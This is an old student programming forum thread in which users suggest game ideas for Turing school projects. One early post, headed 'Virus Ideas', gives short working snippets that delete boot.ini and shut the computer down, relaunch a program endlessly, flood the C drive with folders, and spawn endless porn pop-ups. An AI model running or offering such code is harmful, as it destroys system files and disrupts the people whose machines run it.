Computer Science Canada

GAME IDEAS- Check Here First if you need some!!!!

Author:  void [ Sun May 25, 2003 12:46 pm ]
Post subject:  GAME IDEAS- Check Here First if you need some!!!!

I realized that since the ISP or 30% summative assignments are coming up, alot of people are going to post requests for game ideas, so instead of that spamming your site, i have decided to start a thread for people who wish to suggest games, post anything u want, it doesnt have to be a game, it can be any program that you think is make-able, (everything is makeable)

My Ideas
-----------
-pong
-streetfighter type game
-mario (very excellent if you can get the sfx going too)
-OS (a simple operating system with a word processor and paint program)
-Chess (if your advanced enough to program the ai, or else do a two player chess)
-pokemon type game (birds eye view RPG)
-any RTS like command and conquer or warcraft is good
-racing game (if u wanna make it 3D use catalyst 3D engine NOT RAYCASTING, raycasting is very ugly and can lead to fatal seizures j/k, i just thinks its crappy)
-button masher!!!
-whack-a-mole
-BEST GAME TO REMAKE: CASTLEVANIA...oh memories...
-robotron type shoot out
-those crossing the road with crazy traffic games
-cannonball (you aim the cannon at different angles and try to hit the computers cannon, requires trajectory knowledge)
--------------------------------------------------------------------------------------
thats all for now

Author:  JSBN [ Sun May 25, 2003 12:53 pm ]
Post subject: 

i'm actually making a cannons game right now for my ISU. Lets just say.... I have about 3 weeks worth of programming to do in 1.
Just ask Asok.... he'd probly agree with my delemma

Author:  Catalyst [ Sun May 25, 2003 1:24 pm ]
Post subject: 

some other that are worth metioning:

-tetris
-asteroids
-breakout
-pac man
-snake
-golf

Author:  Prince [ Sun May 25, 2003 3:41 pm ]
Post subject: 

i was actually thinkin of makin snake a while ago but i hav no idea wher to start... might actually b easier than makin bricks which is wat im doin rite now

Author:  void [ Sun May 25, 2003 4:04 pm ]
Post subject: 

WOW!!! it's become a sticky!!! I feel so...so...honoured **wipes tear off eyes** lolz...so yea...some "program" ideas:

-solitaire (not too hard...the hard part is making the cards)
-any board game like trouble/ sorry/ monopoly/ risk
-minesweeper (actualy very easy to make)
-checkers
-SPACESHOOTER
-push-push (the hard part is making the puzzle solvable, i suggest using one of the previously available puzzles online)
-maze
- more on the way.....

Author:  Martin [ Sun May 25, 2003 6:14 pm ]
Post subject: 

Virus Ideas.
-Make a program that deletes boot.ini and turns off your computer.
code:
Dir.Change ("C:\\")
File.Delete("boot.ini")
put Sys.Exec ("C:\\Windows\\Shutdown.exe")
%Goodbye computer

-Make a program that runs itself. Over and over and over (you've got to compile it to do this)
code:
loop
    put Sys.Exec ("ThisFile.Exe")
end loop

Your computer will lock up like a nervous virgin on prom night.
-Make a bunch of folders
code:
Dir.Change("C:\\")
for i:1..maxint
    Dir.Create (intstr(i))
end for


-Fun with pop up windows.
code:
var site : array 1..whatever of string := init ("www.porn.com", a bunch more porn sites)
loop
   if Sys.Exec (site (Rand.Int(1,upper(site)))) then
   end if
end loop


Make a collection of these for an...'alternet' ISU Twisted Evil

Author:  Martin [ Sun May 25, 2003 6:18 pm ]
Post subject: 

Now for a legitimate idea. Make Civilization. I am Very Happy

Author:  JSBN [ Sun May 25, 2003 6:36 pm ]
Post subject: 

but now you've got a problem Drakness, no one will want to download/ play your game for an obvious reason.....

Author:  Asok [ Sun May 25, 2003 8:36 pm ]
Post subject: 

JSBN wrote:
i'm actually making a cannons game right now for my ISU. Lets just say.... I have about 3 weeks worth of programming to do in 1.
Just ask Asok.... he'd probly agree with my delemma


yea, JSBN is rather f***ked. It'll be interesting to see what he can actually pull off. He'll still pass the ISP, and probably with a reasonably high mark (90ish) because half the class hasn't started.

Author:  kythoon [ Sun May 25, 2003 8:36 pm ]
Post subject: 

and what would that be JSBN?

IDEAS:

blackjack
poker
monopoly
hockey
hearts
connect 4


all pretty easy games (not monopoly)

Author:  JSBN [ Sun May 25, 2003 8:39 pm ]
Post subject: 

i'm making cannons (the old DOS game). I gunna post the crap that i have done so far.

Author:  void [ Mon May 26, 2003 9:00 pm ]
Post subject: 

is that the only program everyone wants to make???...that was my first choice..then i realized that im much to stupid for that....lolz joke...im gonna make and OS..(simple word processor and paint..and maybe ill incorporate a little printing action)

Author:  Tony [ Mon May 26, 2003 9:12 pm ]
Post subject: 

damn it, I've posted it already... OS is what is used to communicate between programs and hardware. You know window's APIs?! Thats what programs use to do stuff... A word processor and a paint program is not an OS, its an office package.

plz dont confuse MS Windows and MS Office... they are DIFFERENT.

Author:  void [ Mon May 26, 2003 9:21 pm ]
Post subject: 

yea..i know that...im just explaining what my operating system will offer as its package, like WINDOWS comes with IE and paint and WordPad...and other bs like that...dont worry...i am not an idiot
(i regret that comment)....lolz

Author:  void [ Wed May 28, 2003 6:28 pm ]
Post subject: 

R.I.P

Author:  Scott832 [ Sun Jun 01, 2003 2:35 pm ]
Post subject: 

I am currently making a "who wants to be a millionaire" game and it is due in under two weeks (yikes). It might not seem like much because it is relatively easy (no complicated commands), but it takes a long time to get lifelines working, fastest finger competition, and not to mention all the possible questions for each round (we only have to have 3 per round but I am trying for 5, which will mean I have to make more lifeline stuff). I will post my game once it is done and handed in, can't do it earlier since everyone in my class goes on this site.

any additional ideas would be apreciated if anyone can think of them.

Author:  PaddyLong [ Sun Jun 01, 2003 7:10 pm ]
Post subject: 

I made a monopoly game a couple years ago

of course that was grade 10 so it's quite messy code :/

right now working on a network tron game (really not much time involved in making this game, just I don't have much to spare right now)

last year I made a connect 4 with some pretty tough ai it's pretty funny to see the computer play itself Razz

Author:  rizzix [ Thu Jun 05, 2003 5:40 pm ]
Post subject: 

void wrote:
is that the only program everyone wants to make???...that was my first choice..then i realized that im much to stupid for that....lolz joke...im gonna make and OS..(simple word processor and paint..and maybe ill incorporate a little printing action)


you've got to be kidding lolz
an OS?

lol

Author:  Tony [ Thu Jun 05, 2003 6:14 pm ]
Post subject: 

lol, I do belive its just a shell with custom notepad Laughing

Author:  Martin [ Thu Jun 05, 2003 8:51 pm ]
Post subject: 

Make turing within turing...Surprised

Author:  Tony [ Thu Jun 05, 2003 8:53 pm ]
Post subject: 

yeah... just get some binary editor to change turing's slash screen to one with your name and logo and say you invented turing Laughing

Author:  hello [ Thu Jun 05, 2003 9:50 pm ]
Post subject: 

You also could try a side scroller shooter such as space invaders or raiden

Author:  Andy [ Fri Jun 06, 2003 9:12 pm ]
Post subject: 

or make chess, if you can, the interface is fair, and the ai is hard, but if ur good, do it

Author:  bugzpodder [ Fri Jun 06, 2003 10:12 pm ]
Post subject: 

chess AI takes a lot of dedication and work (dont expect to make it in a week) in order to make it any good.

Author:  naoki [ Fri Jun 06, 2003 10:13 pm ]
Post subject: 

More ideas:

Othello
Bomberman (prolly mentioned)
mini golf

Author:  Grey_Wolf [ Mon Jun 09, 2003 9:37 pm ]
Post subject: 

-Bubble Bobble
-Burger Time
-Qbert

all great oldschool games.

Author:  PaddyLong [ Mon Jun 09, 2003 9:43 pm ]
Post subject: 

burger time owns all!

Author:  Andy [ Tue Jun 10, 2003 5:33 pm ]
Post subject: 

die naoki, quit telling ppl to make my game, lol, ya i'm just kidding, u guys can make othello if u want, i'll even share my source

Author:  PaddyLong [ Fri Jun 13, 2003 7:46 pm ]
Post subject: 

I'm starting to make Burgertime ...

Author:  BlAcK TuRtLe [ Tue Jun 17, 2003 7:09 pm ]
Post subject: 

pong is the game for me. easy, fun, eyepleasing and still probably the best program in my class.

Author:  poly [ Wed Jun 18, 2003 1:23 pm ]
Post subject: 

I think these 2 that I am about to submit have never been said before:

A game like The Sims
a game like SimCity

I was talkin to my teacher the other day and he said a Student which is very good at turing made The Sims for his final project. It was complete with hunger, happy etc bars and everything. And simcity I just thought of cause I was playing SC4 a few minutes ago. Those 2 both would be very challenging, but it would probably give you an excellant mark and be very fun to play afterwards

Author:  Andy [ Wed Jun 18, 2003 3:02 pm ]
Post subject: 

if he made it on turing, it probably has some cheasy graphics anywayz, me and AsianSensation are gonna make black and white

Author:  JayLo [ Wed Jun 18, 2003 4:04 pm ]
Post subject: 

Confused wow. you Massey people are so crazy... i wouldn't ever venture there... yet.

Author:  Andy [ Wed Jun 18, 2003 6:09 pm ]
Post subject: 

gonna take the entire summer tho...

Author:  void [ Wed Jun 18, 2003 6:20 pm ]
Post subject: 

yea...no kidding...it will take forever...personally i think its pointless...y would you waste urself with such a limiting language...use c++...or if ur like me and cant program in C++...be like me and LEARN IT THIS SUMMER

Author:  Andy [ Wed Jun 18, 2003 6:27 pm ]
Post subject: 

well since that's the langauge we use at school, i'm kinda stuck

Author:  JayLo [ Wed Jun 18, 2003 6:29 pm ]
Post subject: 

i'm with you, void.
c++ over the summer, yep.

Author:  Andy [ Wed Jun 18, 2003 6:31 pm ]
Post subject: 

ya i'm gonna learn it too, soo many things to do so little time, only 2.5 month until school starts NOOOOOOOO

Author:  JayLo [ Wed Jun 18, 2003 7:51 pm ]
Post subject: 

ya... sometimes i wish time were a vector quantity.

Author:  AsianSensation [ Wed Jun 18, 2003 9:57 pm ]
Post subject: 

hah hah, vector quantity, never gets tired of a science joke...

anyways, Im learning C++ over the summer, that is, after SAT, and math. And I don't think we'll be making the entire black and white, I'll try to make AI for the creatures, instead of just scripting AI, I want to do something different, like having it recognize different situations and crap like that, oh well, if it is too hard, i'll switch the game, cuz SAT do come first, and that's going to take me alot of practice.

Author:  JSBN [ Wed Jun 18, 2003 10:41 pm ]
Post subject: 

Lesson:
After poly's post wtf happened?
If your post does not keep on the topic, then don't post. If you do, either post it in the spam, or it might get deleted.
Think about the S#!T that u post. and make sure it belongs in this topic. really i should delete the posts above (up untill poly's)
What you could say:
Quote:
Wow! that is really cool, it must have taken a long time.....
Here are some other ideas:
-...
-...
-...

As you can see, there is content relating to the topic. Other wise DON't post.
Here is a bad post:
Quote:
if he made it on turing, it probably has some cheasy graphics anywayz, me and AsianSensation are gonna make black and white

Analysis:
As you can see, the bad post has s#!t to do with the topic. Thus, it is a bad post.

Author:  void [ Thu Jun 19, 2003 1:43 pm ]
Post subject: 

wow JSBN....ummm if u havent realized...it happens on all posts and unless u ban everyone who uses compsci...it will continue....coz we are just people...mods sometimes do that too...forums are like one huge conversation...after a while...THE TOPIC CHANGES!!!....thats what makes this site interesting...wateva..if ur gonna be such a hard@$$ about it...maybe u should watch over all the posts and see what happens...?

Author:  naoki [ Thu Jun 19, 2003 4:57 pm ]
Post subject: 

BlAcK TuRtLe wrote:
pong is the game for me. easy, fun, eyepleasing and still probably the best program in my class.


that's oh so sad, unless he made really good AI. unless he's not telling the truth (which i am assuming), this class should be crying for a better teacher

Author:  krishon [ Thu Jun 19, 2003 8:42 pm ]
Post subject: 

or better students Laughing

Author:  naoki [ Fri Jun 20, 2003 8:07 pm ]
Post subject: 

ouch Surprised

krishon pours salt on the open wound

Author:  naoki [ Fri Jun 20, 2003 8:07 pm ]
Post subject: 

ouch Surprised

krishon pours salt on the open wound

Author:  krishon [ Sat Jun 21, 2003 10:37 am ]
Post subject: 

lol,, i couldn't help it...it wuz the perfect opportunity

Author:  Rudiger [ Tue Oct 28, 2003 8:39 pm ]
Post subject: 

the best game to make is Duke Nukem you can never go wrong with nuking aliens....That is fun Very Happy .

and i talking about the first 2 Duke Nukem the side view ones Very Happy


that is what i doing for my finl project

Author:  Azzy [ Mon Nov 03, 2003 4:23 pm ]
Post subject: 

right now i'm making crazy eights and i might make a multicard game for my ISU.like with poker,blackjack and others.you guess might want to do that.

Author:  air_force91 [ Sun Nov 23, 2003 1:40 pm ]
Post subject: 

i was thinking of just displaying moving bricks with colours...but i think that'll be imposible for me...im only a beginner...i'll try though...

Author:  qpwoeiru [ Mon Dec 01, 2003 5:43 pm ]
Post subject: 

Maze is a really good idea
easy yet fun Very Happy

Author:  Andy [ Mon Dec 01, 2003 6:17 pm ]
Post subject: 

make a program that randomly makes a maze then solves it using whatdotcolor!

Author:  roer [ Mon Dec 01, 2003 8:15 pm ]
Post subject: 

whatdotcolour indeed Wink What happened to your bits dodge?

Author:  Andy [ Mon Dec 01, 2003 8:16 pm ]
Post subject: 

i shoved it down a drain... no i spent it... all of it

Author:  Mazer [ Mon Dec 01, 2003 8:51 pm ]
Post subject: 

so i guess we don't need the donatebitstododge foundation anymore?

Author:  Andy [ Mon Dec 01, 2003 8:53 pm ]
Post subject: 

not til i get the crazy notion of wanting a web hosting thing from compsci

Author:  Dauntless [ Mon Dec 08, 2003 5:17 pm ]
Post subject:  getDauntlessbits

Dauntless needs cool effects! Donate to the getDauntlessbits.foundation!

Dauntless needs to remove his habit of speaking in third person! Donate to the getDauntlessbits.foundation!

Author:  Mazer [ Mon Dec 08, 2003 6:16 pm ]
Post subject: 

i had an idea today. somebody should make a kings quest/space quest. not like the stupid kings quest they made last, but the old school first ones, where the pixels were the size of your head! they were really cool, and it shouldn't be too hard if you know what you're doing.

Author:  gigaman [ Thu Dec 11, 2003 1:09 pm ]
Post subject:  easy game

a good game is pacman if you get the barriers right

Author:  CITC [ Sun Jan 11, 2004 5:56 pm ]
Post subject: 

Any slime games as found on www.addictinggames.com
or basically any game on addictinggames....
Very Happy

Author:  Cervantes [ Mon Jan 12, 2004 5:34 pm ]
Post subject: 

make the worms or helicopter game on www.addictinggames.com would be a fun project..

my other idea I got from my friend who showed me this game he downloaded off the internet made in Game Maker. basically there are four little ovals with eyes and you control one of them, comp or human can control others.. You move them around, noting that they slide cuz its on ice, and try to get the gold. Gold starts in the middle or wherever of the ice rink and you hvae to hold on to it for as long as you can. These ovals can get the other ovals to drop it by shooting at them.

Cheers

Author:  Maverick [ Tue Jan 13, 2004 11:08 pm ]
Post subject: 

Man that heliocpter game is addicting. my record is 1700, but my friend got 2000.

Author:  DanShadow [ Wed Jan 14, 2004 7:50 am ]
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A really good (but complicated) game would be one I believe also found on AddictingGames.com. Its called SnowCraft, which is basically a snow ball fight against an AI. You have 3 allies, which you can move around your half of the map, your enemies start with 3 guys, and basically their guys double every level. If you hold left click over one of the sprites, his power bar appears over his head as he powers up. Basically, the more power you have, the farther the snow ball goes. If you hit an enemy, he gets stunned, and is vulnerable to another attack. If you hit him again, he falls unconcious (he will get up in like 5 seconds), if you hit him again, he is out cold...for good. The AI is not complicated in this game, because t here is none, lol. The enemies always walk in a preset, strategic path. This game is based in a squared map, with a diagonal (invisible) divider from bottom left to top right. This line cannot be passed by you, but the enemy can. (Stupidly enough). I can think of ways this game could be made, but seriously, making it as a gr10 or gr11 ISU would be an instant A mark...if you can pull it off correctly. Im not sure about any thing passed gr11 because im only there so far. Well, I think its a good idea, thought it was worth mentioning. Wink

Author:  JHDK [ Wed Jan 14, 2004 9:41 pm ]
Post subject: 

you could make puzzle games where you move boxes to get from bottom of screen to top. finger ddr where you press arrow keys with the music

Author:  Cervantes [ Sat Jan 24, 2004 3:16 pm ]
Post subject: 

I've seen snowcraft on a few other sites as well, really good game Very Happy

your post JHDK reminded me of another possible game to make...

Rodent's Revenge Smile
basically in this you are a rodent and you start in the middle of a map that is a square. There are blocks that start off in a square that isn't quite as big as the map. When you move to one side, if there is a block or a line of blocks there, it moves it (just the one block or the whole row, depending on what's there) one spot in the direction. Cats spawn pretty slowly around the map and they try to get to you, but they can't push the blocks. To kill the cats (here's the revenge part in Rodent's Revenge) you must trap them in a 1x1 square. When you've trapped all the cats on the map, they turn into gold and you try to get the gold if you can get to it. After a set amount of time passes the level changes. The second level is the same except that there are immovable blocks (maybe 15) throughout the level. The third level is the same as the second except that there are far fewer blocks (maybe half) and they start spread out over the whole map (which means you have to be quick because the cats will get you real soon after the map starts). Finally, you have 3 lives to get as far as you can. Each time you die, you lose a life and respawn at a random place on the map

That would be an awesome game to make, hope someone does!! If anyone does, post it!! Smile

Cheers

Author:  Cervantes [ Sat Jan 24, 2004 3:26 pm ]
Post subject: 

Oh another game is Liero

that would be AMAZING if it could be done.

Liero is a fast paced 2 player worms game.. just make sure you can ninja rope around the map, adjust the length of your rope, switch between 5 different weapons you possess at any time, and aim the correct way (up and down keys aim)
google liero if you want to download it
Cheers

Author:  Andy [ Sat Jan 24, 2004 4:11 pm ]
Post subject: 

azn's game is sortta like liero

Author:  Cervantes [ Sat Jan 24, 2004 5:53 pm ]
Post subject: 

cool! can I get a link to that?

Author:  Mazer [ Sat Jan 24, 2004 8:18 pm ]
Post subject: 

dodge_tomahawk wrote:
azn's game is sortta like liero

What? I thought you and Asian were making triple triad?

Author:  Cervantes [ Mon Jan 26, 2004 7:01 pm ]
Post subject: 

whats Triple Triad / would that be another good game to make in Turing?

Author:  AsianSensation [ Mon Jan 26, 2004 7:17 pm ]
Post subject: 

Mazer wrote:
dodge_tomahawk wrote:
azn's game is sortta like liero

What? I thought you and Asian were making triple triad?


he meant my final for last year. It was liero..............without the terrain detection and the massive loads of blood.........Though it was split screened, and it was relative motion type of thing. It's under the submission forum, called Ultimate Mario: http://www.compsci.ca/v2/viewtopic.php?t=1354

and I think me and dodge are making triple triad, as soon as I and him learn some OpenGL and whatnot.

Author:  McKenzie [ Wed Jan 28, 2004 10:57 pm ]
Post subject: 

The classics are always good to emulate. Try MAME (Multiple Arcade Machine Emulator)

Author:  shorthair [ Wed Jan 28, 2004 10:58 pm ]
Post subject: 

make the remake of centipede , awsome game

Author:  Cervantes [ Thu Jan 29, 2004 8:43 am ]
Post subject: 

classics are good but not TOO classic like *ahem* pong and *cough* tic-tac-toe Razz

Author:  Cervantes [ Sun Feb 01, 2004 6:50 pm ]
Post subject: 

I had this idea today, then forgot it, then shorthair just posted it in the collision detection thread, and I'm posting it here as quickly as possible before shorthair thinks about doing this Razz

make a marble labrynth game. it would involve physics as well as collision detection. you could use the arrow keys or the mouse to tilt the board, either way. also it should make a random labrynth every time. you could also have levels if you really want to go far.
if you want it to look snazy, find some way to make the marble look like a real marble would, with the cool thing in the middle going like mad Very Happy

Author:  shorthair [ Sun Feb 01, 2004 7:01 pm ]
Post subject: 

nother difficuly game is othello hint hint to go play othello its hidden on the site somwher , under like 9 pages of crap , iy you want t o make a game to bring turin to its limit s, you make a snowboarding game , side view , its bee ndone on another site , turing could barely run it and it was 30 thousand lines , pure pro guy apparently works for EA now , what he was doing with turing , i beyond me

Author:  Krabjuice [ Mon Feb 02, 2004 7:18 pm ]
Post subject: 

Has anyone ever tried to re-create digger?
Also, anyone ever play crimsonland? I betcha replicas of both can be coded in turing with little trouble.

Author:  Cervantes [ Sat Feb 07, 2004 6:06 pm ]
Post subject: 

a basketball game where you have to choose velocity and angle.
or a scorch game Razz

I have seen a scorch game on the net, but it was extremely complicated (it had a lot of the weapons in scorch). It was worse for it. I mean a simple scorch game.

Author:  echeese [ Wed Mar 03, 2004 4:16 pm ]
Post subject: 

I loved Scorched Earth... I'ma gonna try it, as soon as I get OOT working on Linux.

Author:  Cervantes [ Wed Mar 03, 2004 5:05 pm ]
Post subject: 

I just found this game called "Warthog Launcher". AWESOME game, would be really fun to make too!

It can be found here

Author:  guruguru [ Tue Mar 16, 2004 12:28 am ]
Post subject: 

Quote:
Someone should make a game where you shoot bouncing balls... and you gotta shoot them before they stop bouncing. And apply all the laws of physics to them... have wind and such.

That would be... umm... interesting...? Confused

(btw that was quoted from a classmate, but hey! its an idea Wink )

Author:  Cervantes [ Tue Mar 16, 2004 8:06 am ]
Post subject: 

too bad Blitz got to that one first Smile Check out shorthair's game here

However, its still a good idea to make in Turing. It wouldn't be very hard, however. All you need to do is know / steal the formula for the y position of a ball.

Author:  Krabjuice [ Tue Mar 16, 2004 1:48 pm ]
Post subject: 

Metal Gear Solid, anyone?

Author:  Mazer [ Tue Mar 16, 2004 4:37 pm ]
Post subject: 

True that, Krabjuice. I was making a MGS style game (more focus on Greyfox and other ninjas though), but then I realized: Screw this shit, I'll be learning C++ soon. Razz
I didn't get very far anyways but it would've been way cool.

Author:  recneps [ Wed Mar 17, 2004 11:05 am ]
Post subject: 

That Warthog game is great, along with any simple game on www.addictinggames.com wouldnt be THAT hard to make in turing Very Happy
P.S. check out addictinggames.com and try Crimson Room, i swear my friend looked at a hint file or something, you gotta click like halfway between walls to get to the next piece.... (you'll see what i mean when you play)

Author:  bevoyleick [ Sun Mar 21, 2004 7:52 pm ]
Post subject: 

i suggest Space Invaders, that's what I made for my culminating activity

Author:  Martin [ Sun Mar 21, 2004 10:34 pm ]
Post subject: 

Crimsonland is awesome. And yeah...that would make a sick game in turing...not too hard to do either.

www.reflexive.com by the way.

Author:  nightcrawler938 [ Mon Apr 05, 2004 3:01 pm ]
Post subject:  DDR

Mod edit: this post removed

[mod:eba56dcd0e]
Asking the same question 100 times is not going to get it awsered sooner
[/mod:eba56dcd0e]

Author:  white_dragon [ Sat May 15, 2004 4:30 pm ]
Post subject: 

make a game where u hafta doge things. or make four player pong.......now thats a challenge.
to make it harder make an AI for it!

i believe one person already achieved this but he was a genius.

Author:  SuperGenius [ Fri Jun 04, 2004 7:22 pm ]
Post subject: 

it would be cool to do a lot of NES games like:

Mario
Duckhunt
Blades of Steel
Double Dragon
Micro Machines (unliscenced, but awesome)
Gunsmoke

About duckhunt, if you had a Zapper that was designed for the computer would it be possible to use it with turing?

Author:  Jonny Tight Lips [ Wed Sep 15, 2004 9:15 pm ]
Post subject: 

Quote:

About duckhunt, if you had a Zapper that was designed for the computer would it be possible to use it with turing?


with my limitred knowledge of turing I would say yes if you could trick it to think that the zapper was accualy a mouse or such input device that turing can accualy recognize. But I could be wrong. Maybe some more experience ppl could back me up. Or I am totaly wrong and everyone shall have a good laugh.

Author:  LUEser [ Thu Nov 25, 2004 7:46 pm ]
Post subject: 

I have an idea I might try to pursue for my final project in Turing.

I played this game that someone made (poorly) with game maker. It's a paintball game in which you have an overhead view of a simple Xball field(If you aren't familliar with paintball, Xball is a type of speedball, which is paintball played on a 75x100 foot field with inflatable bunkers, basically)

You control one player on your team, the rest are AI. The other team is only AI. You click where you want to shoot paintballs.

It would be a fun game if done well.

The hard part would obviously be the AI. I don't think I can make AI for it in Turing.

I'm a Turing n00b, so does anyone know how I could make this AI?

If it's too difficult, then I suppose I'm going to just do Tetris or something.

Another game I have an idea for is something like a very simple version of Fallout Tactics. If you haven't heard of it, it's basically a turn-based shooting game. If I made this I could do it two-player, and it would be cool.

Basically, on his turn, the player would have a certain number of action points(AP), and these action points would be used up either by moving, shooting, or changing stance(which slows movement but increases accuracy and makes a harder target). When a person shoots at someone, they are given a percentage to hit the person based on their weapon, distance away, their stance, and whether or not they've been blinded.

I'm thinking in a simple Turing version, each team would have a set number of guys with set weapons. I.E. each team would have one guy with a hunting rifle, three with assault rifles, one with grenades, one with a bazooka, and one with a shotgun.

I think I might try this. It doesn't seem like it would be very hard to do, but it would take a long time.

Author:  Viper [ Fri Nov 26, 2004 12:17 pm ]
Post subject: 

wow if ne one can make a warcraft or A.O.E game they would have to have a lot of patientce and know a lot about turing

Author:  Kelsey [ Tue Jan 04, 2005 9:19 pm ]
Post subject: 

How about Lemmings? Heh, that's an awesome game. Dunno how to do that in Turing though. Confused

Author:  Bored [ Wed Jan 05, 2005 6:47 pm ]
Post subject: 

For my ISP i'm creating an online tag game in which you connect to a main server that has a list of game servers (run p2p between players in game). You also have the option of creating a game that others can join. The movement isn't your normal if prssing up it moves you up one space if pressing left you move left one space but instead you use left and right to turn and use up and down to move forward and back. I plan to add many extras such as allowing 2 on 2, manhunt, end of game scoreboards,etc. in order to make it more than your average tag game. And hey if you have any sugestions feel free to post them or pm me. Oh ya i've attached the first testing file off it, and the pics needed. The game's offline, 2player, and has no cpu's yet

Author:  Cervantes [ Wed Jan 05, 2005 7:27 pm ]
Post subject: 

Bored wrote:
And hey if you have any sugestions feel free to post them or pm me. Oh ya i've attached the first testing file off it, and the pics needed.

This is not the place to post source code. It's good that you're sharing your idea, but we try to keep these topics as clean as possible, so that people can quickly read through them and get all the material without getting an eyefull of unrelated discussion.

Author:  Bored [ Thu Jan 06, 2005 8:13 pm ]
Post subject: 

Sorry about that. I was actually was gonna post some ideas origionally but i guess i got into writting that and totaly forgot about the whole post (I get lost and confused easily in these kinds of situations). But anyways here are my ideas:
-Online Tag Game (obviously)
-Space Invaders (it'd be too easy so maybe add a classic & new version)
-Bricks
-Tetris (Man it's aged but Aaaawesome)
-A Keyboard Simulator (If you could get the sounds)
-Bowling
-Any game on miniclip,addicting games, coffee break arcade, etc.

Author:  basketball4ever [ Thu Jan 20, 2005 11:39 pm ]
Post subject: 

Make a whole casino Very Happy might be interesting

get to click to places you want to like
blackjack
poker
dices
: p any casino game
slots can be easy Very Happy

Author:  Amreen [ Sat Jan 22, 2005 12:47 pm ]
Post subject: 

kool... Very Happy

Author:  Leftover [ Sun Jan 23, 2005 5:48 pm ]
Post subject: 

Jonny Tight Lips wrote:
Quote:

About duckhunt, if you had a Zapper that was designed for the computer would it be possible to use it with turing?


with my limitred knowledge of turing I would say yes if you could trick it to think that the zapper was accualy a mouse or such input device that turing can accualy recognize. But I could be wrong. Maybe some more experience ppl could back me up. Or I am totaly wrong and everyone shall have a good laugh.


Very possible. If you read up on people who make custom controllers and such for MAME boxes and what not, the arcade controls or light guns or whatever all work just like a mouse or keyboard. You could get a PC light gun, steal one of those big ones from area 51 arcade game, build a cabinet and put a monitor and PC in it, and program a turing game that makes aliens pop up behind objects and when you fire the gun (AKA click on the alien) you get points.

Author:  cycro1234 [ Mon Jan 24, 2005 6:22 pm ]
Post subject: 

- An airplane game where you have to crash into things to get points

- A car game like Burnout where you have to cause major crashes in
large intersections

- A game where a small circle randomly appears on the screen and you
have to click on it to get points.

- RPGS 0wn the pl4n3t

Author:  Mazer [ Tue Jan 25, 2005 10:47 am ]
Post subject: 

cycro1234 wrote:
- An airplane game where you have to crash into things to get points

You may wish to rethink that one.

Author:  ste_louis26 [ Tue Jan 25, 2005 12:27 pm ]
Post subject: 

Yeah that was a bit over the line. If it hasn't been mentioned yet snkes and latters is always fun.

Author:  person [ Tue Jan 25, 2005 5:46 pm ]
Post subject: 

monopoly would also be great...hope u dont mind making those cards Very Happy Smile

Author:  ste_louis26 [ Wed Jan 26, 2005 11:59 am ]
Post subject: 

Other games

-Pokemon (LOL) Very Happy
-SOS (a 20x20 grid and players take turns putiing either S or 0 down tring to spell SOS without leting their opponent do it on their turn
- Foggy Boxs (a 20x20 grid of dots you take turns drawing a line from one to another to the closest possible dot. Tring to make as many boxs as possible)

Author:  person [ Wed Jan 26, 2005 6:53 pm ]
Post subject: 

u can also try to make "Tetris Domination" online with 4 players

Author:  basketball4ever [ Wed Jan 26, 2005 11:04 pm ]
Post subject: 

person wrote:
u can also try to make "Tetris Domination" online with 4 players


is turing even capable of doing online playing?

Author:  person [ Thu Jan 27, 2005 11:04 am ]
Post subject: 

yes it is, check "Tag lag" in the help section

Author:  DVL_IAC [ Fri Feb 11, 2005 11:42 pm ]
Post subject: 

would it be possable to do a fps game like Doom or something in turing? that would be cool if someone did Very Happy

Author:  Bacchus [ Sat Feb 12, 2005 12:16 am ]
Post subject: 

someone did. check turing submisssions, i think thats where i saw it

Author:  barneyoncrack [ Mon Apr 11, 2005 6:01 pm ]
Post subject:  Another Idea

A great thing as a game for Turing is "Who wants to be a millionaire", since the overall graphics are not required to be as in "Zelda" game... and the game itself can have different questions for a different # of a question. Not as hard to do as any other games, even I did it and I have just over a month of experience with Turing, but it took me a long time.
Anyways the idea, I think, is good and its easy to make. Good Luck. Wink

Author:  neufelni [ Mon May 09, 2005 12:24 pm ]
Post subject: 

I am making a mini golf game. It will take my a while to get it all the way finished. So far I only have my game menu completely done.

Author:  MysticVegeta [ Wed May 25, 2005 3:42 pm ]
Post subject: 

cool! You mean with all the angles to hit the ball? Nice.

Author:  ZeroPaladn [ Fri Jun 10, 2005 9:26 am ]
Post subject: 

um, ya think? anyways im making a space invaders type game. to you guys its simple but to me its f***ing hard.

Author:  [Gandalf] [ Fri Jun 10, 2005 3:41 pm ]
Post subject: 

It's a sad misconception that people think that if you are good at something, everything to do with that, making things, fixing things, is easy. The simple truth is, even the best programmer requires effort to make something good.

Author:  TokenHerbz [ Mon Oct 10, 2005 1:46 pm ]
Post subject: 

yeah, i personally under estimated a small RPG...

it requires alot of code :S

Author:  md [ Mon Oct 10, 2005 3:51 pm ]
Post subject: 

one thing that I did as a final project one year was an above view space shooter. basically all it did was the asteroids came down the screen and you had to shoot them, but to make it more challenging and fun I also added in gravity (all objects had mass and were attracted to each other), metal asteroids (they bounced off each other, and made rock asteroids break up into smaller peices) and things like that. Since I was rather proud of this game of mine (and since I finished it a month into the class...) I left it on some of the computers so other people could play; which lead to high scores and hacking of high scores and then encrypted high scores (nothing fancy, just a plain xor encoded string to be sure that every high score was valid).

Admittedly I did all this in pascal instead of turing... but the ideas are still valid. I kinda wish that I still had that program... it was fun to play

Author:  jamonathin [ Mon Oct 10, 2005 7:32 pm ]
Post subject: 

One thing you can do is go to MiniClip or something and create one of those game, or at least a cheap copy like I did Razz. I did a turing version of that Bubble Trouble game, it's not perfect, but that was about a year ago. I'll post the source for it tomorrow, now that the attachment function is up and running.

Author:  do_pete [ Tue Nov 08, 2005 1:24 pm ]
Post subject: 

here are my game ideas:
1. Bullet Time Fighting style game like the one from www.flashplayer.com/games/bullettimefighting.html
2. Racing game with Grand Theft Auto style graphics

Author:  RedRogueXIII [ Mon Dec 05, 2005 4:51 pm ]
Post subject: 

On a note to previous posts I currently know of 2 scorched earth games available online for free. Both are online multiplayer with options for AI.
http://www.scorch2000.com based and done in Java, and scorched 3D, which I bet you can find somewhere by google. Also i know a friend who has completed Triple Triad, I can ask him to post it if any of you want, it's very good.

On topic - Here's some of my suggestions
-A game similar to Metal SLug/ Heli Attack 3 using angles to aim and shoot.
-A top down RPG say like FF1 and FF2 but with better graphics.
-Making a 2D Legend of Zelda game.(what i'll be working on over my christmas break)
-A fixed 2D shooter that tries to emulate 3D by using transparent graphics and different scrolling times. (Like Duckhunt but way more complex, and would allow the player to look all around himself)(Razz curently working on this right now)

